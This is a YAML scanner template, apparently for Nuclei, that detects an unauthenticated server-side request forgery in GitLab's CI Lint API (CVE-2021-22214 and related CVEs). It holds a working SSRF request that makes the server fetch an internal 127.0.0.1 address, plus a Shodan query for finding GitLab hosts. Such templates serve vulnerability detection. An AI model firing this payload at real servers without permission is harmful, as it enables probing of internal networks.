50 lines
1.6 KiB
YAML
50 lines
1.6 KiB
YAML
id: CVE-2021-22214
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info:
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name: Unauthenticated Gitlab SSRF - CI Lint API
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author: Suman_Kar,GitLab Red Team
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severity: high
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description: |
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When requests to the internal network for webhooks are enabled,
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a server-side request forgery vulnerability in GitLab CE/EE affecting all
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versions starting from 10.5 was possible to exploit for an unauthenticated
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attacker even on a GitLab instance where registration is limited.
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The same vulnerability actually spans multiple CVEs, due to similar reports
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that were fixed across separate patches. These CVEs are:
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- CVE-2021-39935
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- CVE-2021-22214
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- CVE-2021-22175
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
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- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
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- https://docs.gitlab.com/ee/api/lint.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 8.6
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cve-id: CVE-2021-22214,CVE-2021-39935,CVE-2021-22175
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cwe-id: CWE-918
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metadata:
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shodan-query: http.title:"GitLab"
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tags: cve,cve2021,gitlab,ssrf
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
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headers:
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Content-Type: application/json
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body: |
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{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
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redirects: true
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max-redirects: 3
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matchers:
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- type: word
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part: body
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words:
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- "does not have valid YAML syntax"
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